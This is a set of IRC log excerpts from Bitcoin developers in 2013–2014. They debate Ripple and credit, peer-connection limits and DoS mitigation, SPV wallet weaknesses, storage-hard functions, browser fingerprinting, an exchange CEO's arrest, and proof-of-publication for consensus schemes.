08:29 < jgarzik_> HM2, well like patent's concept of prior art, there is a way to show TM land grabs by third parties
08:29 < adam3us> jgarzik_: maybe a topic for this xgbtc list - didnt accept the list invite yet
08:29 < HM2> sure
08:29 < jgarzik_> adam3us, never heard of xgbtc
12:51 < jtimon> what fees?
12:51 < jtimon> bitcoin fees?
12:51 < petertodd> remember, ripple is all about optimizing who owes who, but why do you care exactly?
12:51 < jtimon> that's what money is all about
12:52 < jtimon> "bitcoin is about who has what, but why do you care?" I don't understand your point
12:52 < petertodd> what money is about doesn't matter for the end-user, they just want to solve a business problem
12:52 < adam3us> petertodd: freimarket includes real-ripple as a sub-component so freicoins that are IOU based can interop with frecoins that are mined (minus demurrage)
12:53 < jtimon> seriously I don't get your point about not caring
12:53 < jtimon> how would you don't care about who owes you and who you owe too?
12:53 < adam3us> petertodd: i think its a logical and self-consistent system, remains to be seen on adoptions. some of adoption is first to market, network effects etc.
12:54 < jtimon> petertood: you don't see any value in a ripple network or in credit in general?
12:54 < petertodd> jtimon: because my *business* problem is "I want to make money, and I can make money if I sell icecream, and if my icecream distributor loans me some stock, I'll pay him back and we'll both make money."
12:54 < adam3us> jtimon: i think petertodd is still on competition & adoption, his q. why would someone prefer freimarket IOU freicoin over btc
12:54 < petertodd> jtimon: The "meaning" of money means absolutely nothing to either party in that transaction.
12:55 < jtimon> petertodd: people don't want money, people want the stuff they buy with it
12:55 < adam3us> jtimon: its also a value store i guess.
12:55 < jtimon> it's not about preferring, you have your wares that by definition you don't want and want to sell
12:55 < petertodd> jtimon: and that's the thing, "I'm an icecream mfg, I need milk, now if you farmers give me some milk, I'll give you some money once I sell my icecream" - that's another business relationship
12:56 < jtimon> exactly
12:56 < jtimon> that can be done with "money" or credit
12:56 < petertodd> jtimon: ripple says "hey! this forms a cool graph when we add the customers into a big decentralized distributed database!" and can make those credit relationships magically collapse when the customer buys the icecream or soemthing
12:57 < jtimon> the important stuff is are the icecream and the milk, the rest are just numbers to make that happen
12:57 < petertodd> jtimon: meanwhile the business say "Who cares? Doing it the old way is plenty efficient and the new way requires a bunch of software and buy-in from a zillion parties."
12:57 < jtimon> that's the ideal situation in ripple, try to come back to the b2b stage
12:57 < jtimon> you sell icecream in summer
12:58 < jtimon> I go to you and say "do you accept ourtown's local currency for the ice cream"
12:58 < jtimon> you say "no, I prefer bitcoin"
12:58 < jtimon> "ok, ?I don't have bitcoin, keep your icecream"
12:59 < jtimon> if you want milk and you can buy it with both local credit currency and bitcoin, why reject any of the two?
12:59 < petertodd> and that's the problem, any real business will say "Why the hell do I care about these local currencies? Let someone else figure out how to convert FooDollars to and from Bitcoin so we can focus on making icecream, our core competency."
13:00 < jtimon> hehe, you remind me to people talking about real businesses and bitcoin a while back...
13:00 < petertodd> You might not be aware of this, but one of the reasons Net 30 day works is because there exist third party credit rating agencies that specialize in figuring out whether or not your counterparty will pay you back.
13:01 < jtimon> the magic of ripple is that you will only ever receive the currencies you accept
13:01 < petertodd> ...and when those agencies aren't good enough, the reason why Net 30 day works is because often suppliers have special insights into their customer's businesses, and thus credit worthyness, that is otherwise really hard to get.
13:01 < jtimon> and the payer doesn't need to bother about conversions neither: the system does them
13:01 < jtimon> yes, I'm aware
13:01 < petertodd> jtimon: That's not magic at all.
13:01 < jtimon> no, it's not magic
13:01 < jtimon> it's tech
13:02 < petertodd> jtimon: That's the magic of "I price my icecream in dollars."
13:02 < adam3us> petertodd: well i guess bitcoin doesnt do it
13:02 < petertodd> jtimon: You don't need ripple for that
13:02 < adam3us> petertodd: bitpay et al let you though, ok
13:02 < jtimon> you can say "I price my icecream in gbp, I accept btc, bristol pounds or gbp"
13:03 < petertodd> adam3us: Exactly! bitpay, and the exchanges they work with, managed to outsource all that highly specialized work related to figuring out how to convert bitcoins to dollars
13:03 < jtimon> I go there with frc and sevillan pumas
13:03 < adam3us> petertodd: probably where a difference comes in is its hard to take out btc denominated loans because its volatile and trending up in price.
13:03 < jtimon> I push "pay 1 gbp to this merchant" the system says "want to pay X frc or Y pumas?
13:04 < jtimon> what's the unconvenience?
13:04 < jtimon> petertodd: a ripple network can do what bitpay does!!
13:04 < petertodd> jtimon: the unconvenience is that you needed this big ripple thing with a zillion credit relationships for it to work, when the alternative is to let some specialist handle it for you
13:05 < jtimon> no, I said the merchant just accepted 3 currencies, that's 3 credit relationships
13:05 < petertodd> jtimon: See, if tx fees to and from sevillan pumas are low, then you're customer, or you, can just as easily use that specialist to convert it for you.
13:06 < petertodd> jtimon: That's a *low overhead* solution to the problem that doesn't require much adoption to work. Ripple is the exact opposite.
13:06 < jtimon> but the point of the system is unite the infrastructure of the different currencies NOT TO NEED the specialist
13:06 < jtimon> whatever, I don't think I can convince you
13:06 < petertodd> jtimon: Modern economics has realized over and over again that specialists are excellent solutions to most problems.
13:07 < jtimon> so please, answer my previous question "you don't see much value in a ripple network or in credit in general?"
13:07 < petertodd> I see lots of value in credit, because people use credit all the time. Ripple, not much value at all.
13:07 < jtimon> petertodd, argument of authority fallacy, your authority: "modern economics"
13:08 < jtimon> Ripple = credit
13:08 < petertodd> jtimon: No, ripple is a way to manage credit. There are other ways to manage credit.
13:08 < jtimon> it's just the same thing with a more convenient infrastructure
13:08 < petertodd> jtimon: You think it's more convenient, I don't for a whole host of reasons.
13:09 < jtimon> what's the difference between an international payment and a ripple transaction?
13:09 < jtimon> transitive credit, it's the same thing
13:09 < petertodd> And the biggest problem with Ripple is the value of it is network effect dependent, so if only a small network of people use it it has very little value. That's a enormous bootstrapping problem on top of all the other problems of it.
13:09 < jtimon> you know, banks took all that overhead of trusting each other
13:09 < adam3us> jtimon: if u really lend people money in small amounts, often you dont get it back. thats my experience. and lending money to friends & family generally is not a good idea. when something goes wrong it leads to problems.
13:10 < petertodd> jtimon: yes, and banks are specialists at that task. Ripple is asking everyone to get in the business of doing that, which goes against the tendency in modern economies to specialise.
13:11 < petertodd> adam3us: yup, it's worth noting that Net 30 day credit relationships are declining as businesses become more complex and transactions more convenient.
13:11 < jtimon> I'm saying it won't start with personal credit, but with b2b, local currencies, p2p markets gateways...
13:11 < adam3us> petertodd: i think the notional advantage of ripple.com is that they can cancel out some debts and so reduce the fees
13:11 < jtimon> the small participants can join later
13:11 < petertodd> adam3us: yup, which means it's in competition with every solution that reduces fees... and there are a huge number of ways to do that
13:12 < jtimon> just to be clear, I'm talking about ripple the concept not ripple.com
13:12 < petertodd> jtimon: doesn't work that way, often those small participants are what make the ripple network loops happen that let credit relationships get canceled out - the core thing that ripple does
13:12 < adam3us> petertodd: actually ripple.com is very poorly explained online. i am not sure if it also has issued values other than iou values mixing on its network.
13:12 < petertodd> adam3us: ripple.com is an abomination and we shall not refer to it again
13:12 < jtimon> the way you trust in ripple.com is very risky for users
13:12 < adam3us> jtimon: yes. thats why i put ripple.com when i wanted to refer to them
13:12 < jtimon> because it assumes 1 aaaUSD = 1 bbbUSD
13:13 < adam3us> petertodd: hehe the R-word.
13:13 < jtimon> that's not necessarily true in 2PC ripple or freimarkets
13:14 < maaku> jtimon: replacements can be used for microchannel payments (e.g. utility bill)
13:14 < petertodd> See, fidelity bonded banks are an excellent example of something where ripple can work very well, and one of the reasons that works is because the whole point is to keep tx fees low, 1 aaaBTC == 1 bbbBTC, and all the logic about the trust relationships can be handled in software (talking about the ideal fidelity bonded bank stuff here)
13:15 < petertodd> But that's a crazy-specialized example, and the whole concept of fidelity bonded banking is just as likely to get pushed out by other ways of getting low tx fees.
13:15 < jtimon> aaaBTC/bbbBTC should be just a market like any other
18:57 < jtimon> antonopolous was that guy that got himself filmed having dinner, drinking wine and talking about bitcoin in a restaurant?
18:57 < jron> jtimon: yes
18:57 < jtimon> I didn't watched the whole video but that was kind of odd
19:01 < jtimon> does this make any sense? https://bitcointalk.org/index.php?topic=430705.msg4715291#msg4715291
19:01 < jtimon> isn't getBlock template the same thing as GBT ?
19:02 < sipa> yes
19:03 < sipa> i assume it's a typo, but i've no idea for what
19:25 < andytoshi> ;;later tell nsh i did the talk, didn't get to any wizards stuff, it was very boring, sorry
19:25 < gribble> The operation succeeded.
23:10 < tt_away> It's late and I'm tired and going through ProtoShares source code; does PTS only use SHA512 as a hash function? It mentions sCrypt in the white paper, but I'm not seeing it.
23:10 < tt_away> Also these indentations ahhhhhHHHH
--- Log closed Sat Feb 01 00:00:14 2014
21:10 < warren> https://togami.com/~warren/archive/2013/example-bitcoind-dos-mitigation-via-iptables.txt (with a limit that is not quite this small)
21:10 < jgarzik> network attacks against bitcoin have best ROI today </standard refrain>
21:10 < nanotube> <gmaxwell> Today you can fill up all connection slots on the bitcoin network with 1 IP. <- i thought current code prevented multiple connection from same subnet ?
21:11 < gmaxwell> nanotube: no, we won't make outbound connections to the same netgroup (/16 for ipv4) but inbound is unrestricted. And it should be
since otherwise it would be somewhat hard to connect from some universities and countries.
21:12 < nanotube> hmm
21:12 < gmaxwell> (instead, when we fill up instead of turning away new connections we should see if there is a less attractive old one to punt, e.g. punt the duplicate IPs preferentially)
21:12 < gmaxwell> But we don't right now.
21:12 < nanotube> huh, so we don't even block the same ip from connecting twice?
21:12 < warren> nope
21:12 < jgarzik> code it up and PR it ;p
21:12 < nanotube> at the very least, /that/ seems like a low-cost thing.
21:13 < gmaxwell> nope And if we did, as I said, that would cause some problems.
21:13 < nanotube> no country/university has only one ip :)
21:13 < warren> nanotube: and that isn't a good defense if you think about ipv6
21:13 < gmaxwell> nanotube: actually several countries connect entirely from a single IP.
21:13 * nanotube avoids thinking about ipv6 >_>
21:13 < gmaxwell> E.g. Qatar IIRC.
21:13 < nanotube> but heh the private bloom filters bit is pretty cool.
21:13 < nanotube> heh really? wow.
21:14 < nanotube> so quatar just has one giant country-wide NAT ?
21:14 < gmaxwell> yea.
21:14 < nanotube> lol >_<
21:14 < gmaxwell> Things you learn being a Wikipedia admin. "oops you just blocked Qatar. Again" "Opps you just blocked univsity of foo. Again."
21:14 < nanotube> well, all of qatar probably has 2 bitcoin users. they'll manage.
21:14 < nanotube> hehe
21:15 < gmaxwell> I accidentaly the whole qatar.
21:15 < nanotube> is it deliberate, or were they just not allocated any ips?
21:15 < gmaxwell> In any case, it would be pretty easy to make the node-full behavior turn into kick out some old peer based on some priority thing. I would have done it already but there really is no end to the amount of thinking you can do behind the priortization scheme.
21:15 < gmaxwell> speaking of that.. I should probably just PR my dont-use-get-my-ip patch, since it seems no one is going to review the idea without a PR...
21:16 < gmaxwell> :P
21:16 < gmaxwell> but first, dinner.
21:16 < gmaxwell> nanotube: I assume it's more or less deliberate.
21:17 < warren> is there one state owned ISP?
21:17 < nanotube> probably
21:18 < gmaxwell> I would assume, I never looked into it. Thats the case in a lot of those places.
21:19 < gmaxwell> not exactly that most important use cases, but I'd rather not make the system gratitiously hostile. there are a bunch of reasons why you generally want to allow multiple connects from the same IP. E.g. my local nodes addnode each other.. and if we were limited to 1 they'd get rejected... even from nodes that don't listen on the public internet.
21:20 < warren> local nodes would have RFC1918 addresses?
21:20 < gmaxwell> mine don't. Not everyone is behind n-layers of nat, esp on ipv6.
21:21 < warren> especially with ipv6, limiting per IP probably isn't going to work
21:22 < gmaxwell> In any case, go look in the logs here I described my thinking on this, I think there should be a set of priortization which protects some nodes from being dropped and then randomly drops based on a score for the rest, the score could include things like being in the same ipv6 /48 as other peers.
21:22 < gmaxwell> (or even the same /32)
21:28 < warren> hm, "BitcoinJ always bootstraps from DNS seeds."
21:30 < jgarzik> indeed
21:31 < jgarzik> bitcoinj-based Bitcoin Wallet does not rotate keys for each transaction
21:31 < jgarzik> bitcoinj-based Bitcoin Wallet does not support P2Sh
21:35 < warren> multibit also appears to not tell you how many peers you have
21:35 < warren> seems rather insecure for the default client on bitcoin.or
21:35 < warren> org
21:40 < gmaxwell> warren: I think multibit only connects to 4 too, but I also thought that about android wallet and sipa demonstrated otherwise.
21:41 < gmaxwell> IIRC bitcoinj also only queries a single dns seed at random. e.g. instead of doing something like taking one peer from each round robbin. (though not like its hard for a network attacker to intercept DNS)
21:42 < gmaxwell> I dunno if you saw the last round of snodwn papers but it looks like the NSA has a DNS race interception infrastructure.. e.g. use passive taps to see dns queries and then respond faster.
21:42 < warren> wouldn't you see two responses if you were the victim of that?
21:42 < gmaxwell> sure, but you take the first one.
21:42 < warren> and nobody is watching for the second
21:43 < gmaxwell> (I have a friend that runs a really big DNS GSLB infrastructure that works that way too: you query for their domain, they forward the query to all their clusters, and then when the NTP clock strikes the next 100ms interval they all respond at the same time)
21:43 < jgarzik> interesting
21:44 < jgarzik> I know ISC does a lot of anycast
21:44 < jgarzik> anycast works much better for UDP than TCP ;p
21:44 < gmaxwell> hehe indeed.
21:45 < jgarzik> For at least a decade, F root was the most distributed DNS setup by 10x, IIRC
21:46 < jgarzik> At least one other root went distributed years ago, hopefully the others have followed by now
21:46 < jgarzik> Google's new database consensus/sync stuff relies on accurate clocks
21:47 < jgarzik> as 'time' is fundamentally distributed and (in theory) always synchronized
21:47 < jgarzik> relying on that become then an expensive hardware problem of "getting the right time, always"
21:47 < jgarzik> *becomes
--- Log closed Sun Oct 13 00:00:05 2013
--- Log opened Sun Oct 13 00:00:05 2013
01:27 < warren> who is the primary person behind pull tester?
02:25 < sipa> warren: bluematt
07:13 < gmaxwell> petertodd: I just thought up another storage hard function. This one is super simple.
07:14 < gmaxwell> Say you have a tree structured pseudorandom function: e.g H(seed) = {Left half, Right half} ... H(Left half) = {Left half, Right half} and so on so a single seed can expand to a ginormous tree.
07:14 < gmaxwell> Server gives the client a random seed and the tree size. The client goes and computes the leafs of the tree and stores the results.
07:15 < gmaxwell> Then the server can challenge the client: The server randomly picks a leaf, evaluates it itself.. and says to the client "tell me what the index is for the leaf with value X"
07:16 < gmaxwell> the only efficient way for the client to answer would be to have computed a hashtable over the results... otherwise it has to recompute the whole tree.
07:35 < gmaxwell> yippie.
07:43 < gmaxwell> unrelayed: http://cryptome.org/2013/10/homo-crypto-sym.pdf claims fully homorphic encryption with much better performance and only linear plaintext expansion. (factor of 16)
13:19 < amiller> i sort of have a wrench in the works as far as consensus theory goes
13:19 < amiller> i normally say something like 'every valid transaction is eventually included'
13:19 < amiller> but 'valid' is a moving target and can change, for example in a double spend when one transaction invalidates another
13:20 < amiller> suppose there were an opcode that let you refer to the current blocks' transaction height
13:20 < amiller> and you could make a transaction that was only valid every 1000th block
13:20 < amiller> would that transaction be guaranteed to get committed eventually?
13:21 < amiller> this is basically about whether a sub-50% attacker can consistently snipe a particular block as long as it's not too oftne
13:21 < sipa> well the script system is designed such that a transaction that is once valid, is never invalidated (except for double spending)
13:21 < amiller> well with multisigs the doublespend might not be in your control
13:21 < sipa> it is never in your control
13:21 < amiller> also this is specifically about a hypothetical new opcode
13:22 < amiller> it's in your control if you kept your private key private and don't do it
13:22 < sipa> one of your predecessors may double-spend
13:22 < amiller> good point
13:22 < amiller> hm
13:22 < sipa> it's why software doesn't allow you to spend without confirmations
13:23 < sipa> because it's not enough to trust coins you receive; you must also trust that they're unlikely to be reverted by the senders of the senders
13:24 < amiller> there's other related things like sd_lerner's suggestion to have 'invalid after <date>' opposite of locktime
13:26 < sipa> it does mean a receiver needs to track recent (all?) history of its inputs, to judge how likely they are to become permanently unspendable
13:27 < sipa> as a reorg of a transaction right at the border it very risky
13:27 < amiller> if it's safe to wait 6 blocks anyway, then that's enough
13:28 < amiller> like if you wait long enough that the last guy can't revert it, then no one before can either
13:28 < sipa> true
13:28 < amiller> but still my question is about the other direction
13:29 < amiller> how quickly can you get a tx in a block
13:29 < sipa> i wouldn't say it's always guaranteed that you can
13:29 < sipa> it depends on economic factors
13:29 < amiller> if someone wants to prevent you from getting a tx in even 1/1000 blocks, can they?
13:30 < sipa> assuming miners are greedy/rational and choose transactions with the highest fee/byte ratio
13:31 < sipa> all that's needed is someone constantly creating transactions with higher fee than yours
15:29 < HM3> or they could take your family hostage and threaten to beat them if you make said transaction.
16:39 < nanotube> or put a bounty of 80kUSD on the head of any miner who mines it into a block. >_>
09:31 < azariah4> adam3us1: hmm, did you see the op (59) EXTRO in the current version of the paper?
09:32 < adam3us1> azariah4: ethereum paper? no. i did describe the extrospection viral goo risk to vitalik tho :)
09:33 < azariah4> ah yes, now I reached your post in the thread talking about it :)
09:33 < adam3us1> azariah4: maaku_ was discussing it for freimarket too and he figured he could somewhat contain it by disabling extrospect on basic coins (non contract)
09:35 < azariah4> well, even if one could prove the language itself has no extrospection, the fact that it has a form of persistent storage could be a issue in practice
09:36 < azariah4> e.g. one specific impl of a ethereum node has overflow/bounds bug in its impl, enabling a script to read outside its defined persistent storage
09:36 < adam3us1> azariah4: it seems interesting to me however to look at contracts you can build by composing dependent and hash-locked non-extrospection bitcoin scripts or other composing methods. while it seems at first laborious to not be able to express these in a single contract, so long as its functionally equivalent an all the intereting useful things can be built,
without adding extrospection i think that can be enuf, and suspect it might be a des
09:37 < adam3us1> azariah4: yes. i think they have sparse storage tho. maybe the address space was like 2^128 or something vast if i recall
09:39 < azariah4> yepp [0 ... 2^256-1] for both temp and persistent storage
09:40 < azariah4> hopefully they can post some updates about these risks before their fundraiser starts in a week
10:11 < Ursium> azariah4: i'm not sure there's anyone from the core dev team on this channel (i could be wrong) - is that something you could raise on forum.ethereum.org?
10:14 < azariah4> I could, but I need to read more about it first to properly understand it :>
10:57 < adam3us1> azariah4: didnt they already write about security risk soewhere? vitalik wrote an article on bitcoinmagazine recently also (didnt read it all yet)
13:26 < maaku_> azariah4: the scripting language would have to be perfectly sandboxed, yes
13:27 < maaku_> but we are talking about a language that could be as small as a dozen or so opcodes, 2-3 types, and an implementation measured in the hundreds of lines of C++ code
13:28 < maaku_> these can be made safe. it could even be proven safe, if you have the resources to do so
13:29 < maaku_> well, i'm talking about my language here, not etherium's
13:29 < TD> maaku_: there were exploits in bitcoin script even though that's tiny. so ..... this stuff is hard :)
13:30 < maaku_> TD: bitcoin's scripting language is more complex than a minimal turning complete language
13:30 < maaku_> and was not given appropriate care and attention
13:37 < maaku_> what i'm saying is there's nothing magical about writing a scripting interpreter that makes it dangerous in itself
13:38 < maaku_> compared to say, the network stack, which is quite a bit larger and also has to be free of remote exploits
14:23 < gmaxwell> maaku_: sure there is, the script interperter is procol normative in a way the net code isn't. It doesn't just have to be free of "remote exploits" it has to be free of consistency failures. So that adds a number of additional constraints and makes it fixing it hard.
14:24 < gmaxwell> maaku_: and of course all that "just a couple hundred lines of code" stuff fails if you then need to make it fast and implementers find that they're pratically required to employ a JIT compiler for it.
14:27 < TD> the world has a poor track record when it comes to sandboxing malicious code
--- Log closed Mon Jan 27 00:00:02 2014
--- Log opened Mon Jan 27 00:00:02 2014
05:07 < _ingsoc> :/
05:31 < grazs> a what
08:18 < warren> http://www.identitymind.com/company/partners/ "There are about 10 Billion devices in the world that are connected to the Internet and BlueCava aims to identify all of them."
08:18 < warren> frightening
08:20 < brisque> wonder what they're using to distinguish devices. surely most embedded linux devices all have the same public fingerprint, there's barely anything to distinguish them.
08:21 < warren> more bitcoin devices than humans in the world
08:22 < nsh> s#bitcoin#tcp/ip#
08:23 < TD> i am skeptical about the 10 billion figure
08:24 < TD> having worked in the field myself i am a lot MORE skeptical about identifying all of them being a remotely realistic goal
08:26 < brisque> their goal seems to be attempting to correlate users between devices. matching one browser fingerprint with another, rather than trying to uniquely identify devices.
08:28 < TD> yes of course
08:28 < TD> it's still rather hard
08:29 < TD> well, assuming you "play the game" normally of course
08:30 < brisque> I doubt any of these companies do. if google is using browser bugs to track Safari devices against their cookie settings, you can be pretty sure these companies are going even dirtier.
08:31 < TD> ah, well you don't know the story of that bug.
08:31 < TD> there is a long explanation of it here: http://lauren.vortex.com/archive/000937.html
08:31 < TD> tl;dr that was actually a bug in safari and google got the blame for it. nice, huh
08:32 < TD> by "play the game" i meant, try and do it all in the browser. if i had a really compelling product to sell for credit cards i'd ask the user to download and run a native app
08:33 < TD> you can get a lot more scammers that way, of course
08:34 < brisque> TD: that's interesting, i heard the noise around the time but the followup must not have had quite the journalistic merit.
08:35 < TD> the "story" was revealed by the wall street journal at a time when Murdoch was giving speeches about how Google was destroying the newspaper business and it'd be saved by the iPad
08:36 < TD> and it went downhill from there
08:37 < brisque> that bluecarva.com thing seems reasonably standard. it does the usual, user agent, plugin version, installed fonts, all the normal fingerprinting stuff. attempts to put cookies and lcoalstorage cookies everywhere, and that's about the end of it.
08:38 < brisque> comes with a big scary warning about how the source they're presenting is confidential and secret, but that's about the end of it.
08:39 < TD> yeah that's typical
08:39 < TD> of course carders know about all of that
08:39 < brisque> coinbase uses all of those too, interestingly enough.
08:44 < brisque> looks like bluecarva tries to use clock skew as a fingerprint too, that's one I hadn't thought of before.
09:16 < aksyn> you can probably fingerprint a browser version based on rendering time of certain DOM elements
09:17 < aksyn> and yeh, shotgun crap into cookies, localstorage, flash cookies etc. to identify users
09:18 < aksyn> market seems busy for a monday night
09:18 < aksyn> on huobi at least
11:57 < tacotime_> http://www.businessinsider.com/report-ceo-of-major-bitcoin-exchange-arrested-2014-1
11:57 < tacotime_> whoops
12:00 < grazs> but he looks so honest
12:01 < tacotime_> Popped on those charges for just a mil too, sucks.
12:02 < gmaxwell> Guess the folks who were hoping to get coins back from him, http://bitinstant.info/ are out of luck.
12:14 < sipa> gmaxwell: get coins back?
12:18 < gmaxwell> sipa: right before bitinstant shut down apparently they bought BTC from a number of parties and never paid. see the link.
12:23 < sipa> ewww
12:26 < pigeons> SHREM is also charged with one count of willful failure to file a suspicious activity report, which carries a maximum sentence of five years in prison.
12:27 < sipa> and the site is gone
12:28 < tacotime_> I'm guessing maybe they dug up the silk road stuff after getting subpoenas/warrants related to fraud.
12:33 < phantomcircuit> tacotime_, yeah or you know they're reading all of the silkroad message system messages
12:33 < phantomcircuit> im thinking that one
12:33 < _ingsoc> Highly unlikely they'd arrest someone high profile without a solid case that'll probably end up in a successful prosecution.
12:34 < krl> having messages in cleartext on a site like that...
12:36 < tacotime_> krl: You really think someone would do that? Just go on illegal marketplace sites on the internet and use cleartext to communicate? :yaranaika face:
12:36 < home_jg> TorMail data was also seized in its entirety
12:36 < home_jg> as part of the Freedom Hosting takedown
12:36 < krl> people will unless you force them not to
12:37 < home_jg> at _ingsoc implied, arrests at the federal level are not usually made unless they are convinced they have a strong case.
12:38 < home_jg> successful prosecution rate is > 90%. They also overcharge, hoping to negotiate down to a guilty plea that sticks
12:39 < home_jg> will make the NY hearing _very_ interesting. It appears that was the intention (just my supposition...)
12:40 < sipa> what hearing?
12:41 < tacotime_> http://www.coindesk.com/charlie-shrem-to-banks-we-want-to-work-with-you/
12:41 < tacotime_> I guess maybe he should have been working with Swiss banks.
12:41 < home_jg> sipa, https://twitter.com/BenLawsky/status/426431501115211776 etc.
12:41 < home_jg> NYDFS is holding hearings, similar to the US senate hearings.
12:42 < home_jg> Lawsky is the "you should have BitLicenses" guy at NY-DFS
12:42 < sipa> New York... depth first search?
12:42 < home_jg> Dept Financial Services
12:42 < home_jg> NY regulator of money transmitters
12:42 < sipa> got it
12:43 < home_jg> I think these hearings will be much more harsh than the US Senate hearings
12:55 < gmaxwell> home_jg: well the 90% conviction rate is in part because damn near everyone pleds guilty because its so stacked against you.
13:10 < michagogo|cloud> Um
13:10 < michagogo|cloud> Did bitinstant market to SR users or something?
13:11 < pigeons> not like the charge would imply
13:49 < TD> michagogo|cloud: read the criminal complaint
13:49 < TD> michagogo|cloud: the dude is almost certainly going to spend a long time behind bars
19:42 < jtimon> but with prefixes, can't you just ask for more info than you need?
19:42 < petertodd> jtimon: that's the whole point of prefixes!
19:43 < jtimon> I know, more bandwidth
19:43 < petertodd> jtimon: gah, have you read that paper of mine?
19:43 < jtimon> my point is I don't see the bad side, with prefixes you can have the best privacy of them all at the cost of bandwith
19:44 < petertodd> jtimon: ah, well, that's why I'm pushing the idea :) sounds like we're in agreement
19:44 < jtimon> sorry, no
19:44 < petertodd> jtimon: you should, because everyone loves debating this without actually reading the damn thing and why I think it's worth making these tradeoffs
19:44 < petertodd> jtimon: http://www.mail-archive.com/bitcoin-development@lists.sourceforge.net/msg03612.html
19:45 < petertodd> I mean, hell, it's paragraph three where I outline that my threat model is an attacker controlling a reasonable number of the nodes you're SPV client is going to connect too... which is a *very* reasonable attack model.
19:46 < petertodd> Again, saying this because I've actually done this personally by throwing some cash at Amazon EC2
19:46 < jtimon> yes, I don't understand adam's objections, yet I don't know what's the alternative, but yes, as said earlier to adam you shouldn't bother much explaining me this because I haven't read steakth addresses yet, really my fault for trying to follow again, sorry
19:46 < petertodd> jtimon: thanks
19:47 < CodeShark> jtimon: there's so much stuff going on in this space right now you'd be excused for not reading absolutely everything :)
19:47 < adam3us> petertodd: btw backing up a bit time-lock and stego, i dont think consensus is affected by unavailibility of the key, and the key can be encrypted for the recipeint and stored in the block chain
19:47 < petertodd> adam3us: no, the recipient is the public
19:47 < adam3us> petertodd: so then its simple matter if people do not reveal the key, they cant respend
19:47 < petertodd> adam3us: that's got nothing to do with it
19:48 < CodeShark> the recipient's key is already a hash of a pubkey
19:48 < adam3us> petertodd: yes for your other use case. but then make it available from all nodes (its validatable against the ciphertext)
19:48 < petertodd> adam3us: the problem is that miners who know a tx is part of some consensus scheme may want to censor the tx and not mine it, yet the tx data *must* be guaranteed to be made public to everyone for a consensus scheme to work, thus, use timelock to force miners to either delay *all* transactions, or give up trying to censor
19:48 < jtimon> CodeShark yes, that's why I was "passing on stealth addresses for now", as a filter, but then I shouldn't try to follow the discussions about it intervening in them
19:49 < petertodd> adam3us: there is no way to prove publication unless you can guarantee that the data can be decrypted
19:50 < CodeShark> whether or not keys are encrypted has no effect on privacy as long as the keys (encrypted or not) can be associated with a wallet
19:50 < adam3us> petertodd: i guess you are assuming a network where 90% of miners and nodes hate msc spam and want to kill it ;) so then you cant rely even on relaying and it maybe difficult to find a node with the key?
19:50 < petertodd> adam3us: consider a key:value(s) consensus system: if it's just encrypted, I could hold onto the key, then release it after the fact, changing the consensus suddenly
19:51 < petertodd> adam3us: that's the whole fucking point of it: how to make an embedded consensus system that's uncensorable unless miners implement whitelists
19:51 < petertodd> adam3us: of course I'm assuming that - if I wasn't it wouldn't be much of a result
19:52 < petertodd> adam3us: I mean, hell we've got an existance proof that if only some miners hate you you can still get your tx's mined...
19:53 < adam3us> petertodd: ok then; it a bit slow tho time-lock. maybe you can find a subnet of msc-relaying nodes
19:54 < petertodd> adam3us: well sure, but that's not unlike making the block time longer - perfectly acceptable for a lot of applications
19:55 < petertodd> adam3us: I'm not claiming mastercoin should go and implement it right now - I'm pointing out that they could
19:56 < adam3us> petertodd: yep. i have some more stego end-game ideas. still holding them back :)
19:56 < adam3us> petertodd: meaning i dont disagree the steganographer wins. in the en game
19:57 < petertodd> adam3us: meh, do everyone some good and just publish them so people stop making shitty assumptions about scalability
19:58 < adam3us> petertodd: they are not so interesting, just silly things you could do if you had to (if bandwidth was no obstacle). you probably already thought of them.
19:59 < petertodd> adam3us: ah, well if they're less efficient don't bother
20:00 < petertodd> adam3us: anyway, the interesting thing is how to make crypto-currencies where utxo bloat and so on doesn't matter, and I think we're close to solving that pretty thoroughly
20:00 < adam3us> petertodd: cant u get get consensus by time-stamping and using a separate msc-only network for the data?
20:00 < petertodd> adam3us: consensus isn't just time-stamping
20:01 < petertodd> adam3us: proof-of-publication matters, and it's really not trivial
20:01 < petertodd> adam3us: heck, maybe there is no general solution to it
20:01 < adam3us> petertodd: well i mean if you tolerate jamming. just have nodes stop if they cant obtain a full explanation of the time-stamp merkle tree.
20:02 < petertodd> adam3us: the point of proof-of-publication is to tolerate jamming you know...
20:03 < adam3us> petertodd: hmm so you want to send the (time-lock) encrypted msg in the chain because then its atomically delivered so either you get it or you dont.
20:03 < petertodd> adam3us: frankly I think many in the bitcoin community are letting their desire to keep data out of the chain blind them to how fucking hard it is to make these things secure
20:03 < adam3us> petertodd: stego wins. i know it :)
20:04 < adam3us> petertodd: even if you have to use like morse code in the lsbit!
20:04 < petertodd> adam3us: it's not about "stego winning" - it's that people keep pushing MM and similar schemes not because it's better for the consensus system in question, but because it's better for bitcoin
20:05 < petertodd> adam3us: and whenever those consensus schemes take that advice, we bitcoin devs fool ourselves
20:05 < adam3us> petertodd: oh diff meaning. ok well given the scalability limitations, absent a robust scalability fix, as you said sharding seems better. so a MM chain is a crude form of sharding. if security is important buy some kncminers to tip the balance. or work on educating users to not use big pools etc.
20:05 < petertodd> adam3us: and you know, unless you honestly look at the incentives and attacks possible, you're not going to come up with MM schemes that *actually* work
20:06 < adam3us> petertodd: sure.
20:06 < petertodd> "educatiing users" fuck off
20:06 < petertodd> we've got a system where you *earn more money* mining at a big pool
20:06 < petertodd> that's fundemental to how bitcoin works and isn't going to change
20:06 < adam3us> petertodd: there are other ways to "educate" users you know. that may require tor for the educators safety...
20:07 < petertodd> adam3us: all solutions that don't help *decentralized consensus systems*
20:07 < adam3us> petertodd: i wonder if any o fthem are selfish mining
20:07 < maaku_> petertodd: currently, you earn more money mining p2pool...
20:07 < petertodd> maaku_: not if you take your time into account for many miners...
20:07 < adam3us> maaku_: yes. this is very puzzling to me.
20:07 < adam3us> petertodd: but its just as easy to pick p2pool from the list
20:08 < maaku_> adam3us: you don't pick p2pool from a list, you run a local daemon
20:08 < petertodd> maaku_: like it or not we probably have to get to the point where pools *can't* exist, and simultaneously fix scalability
20:08 < maaku_> but i've found it to be very stable at least
20:09 < adam3us> maaku_: i htought one of the miners i tried seemed to support p2pool out of the box (if it ran a daemon itself maybe)
20:09 < maaku_> petertodd: i like getting rid of pools. i don't like the negative side effects i've seen come attached to such proposals
20:09 < petertodd> adam3us: did you have a full node? if not you weren't using p2pool
20:09 < adam3us> petertodd: i did yes
20:09 < petertodd> maaku_: meh, just means you have to keep working on the proposals
